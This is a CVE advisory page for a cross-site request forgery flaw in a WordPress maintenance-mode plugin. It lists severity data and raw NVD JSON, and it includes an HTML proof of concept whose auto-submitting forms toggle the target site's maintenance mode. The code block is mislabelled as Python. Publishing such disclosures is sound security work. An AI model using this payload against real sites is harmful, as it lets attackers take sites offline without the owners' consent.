Security Vulnerability Report
中文
CVE-2025-12586 CVSS 4.3 MEDIUM

CVE-2025-12586

Published: 2025-11-25 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Conditional Maintenance Mode for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing nonce validation when toggling the maintenance mode status. This makes it possible for unauthenticated attackers to enable or disable the site's maintenance mode via a forged request granted they can trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Conditional Maintenance Mode for WordPress插件 <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12586 --> <!-- This PoC demonstrates how to toggle maintenance mode via CSRF --> <!-- Enable Maintenance Mode --> <html> <body> <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="toggle_maintenance_mode" /> <input type="hidden" name="maintenance_mode" value="true" /> <input type="submit" value="Submit Request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> <!-- Disable Maintenance Mode --> <html> <body> <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="toggle_maintenance_mode" /> <input type="hidden" name="maintenance_mode" value="false" /> <input type="submit" value="Submit Request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12586", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:48.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Conditional Maintenance Mode for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing nonce validation when toggling the maintenance mode status. This makes it possible for unauthenticated attackers to enable or disable the site's maintenance mode via a forged request granted they can trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/maintenance-mode-based-on-user-roles/tags/1.0.0/Maintenance_mode.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3403376%40maintenance-mode-based-on-user-roles&new=3403376%40maintenance-mode-based-on-user-roles&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/535f1d8a-8266-4f90-82fa-9c32181bf277?source=cve", "source": "[email protected]"}]}}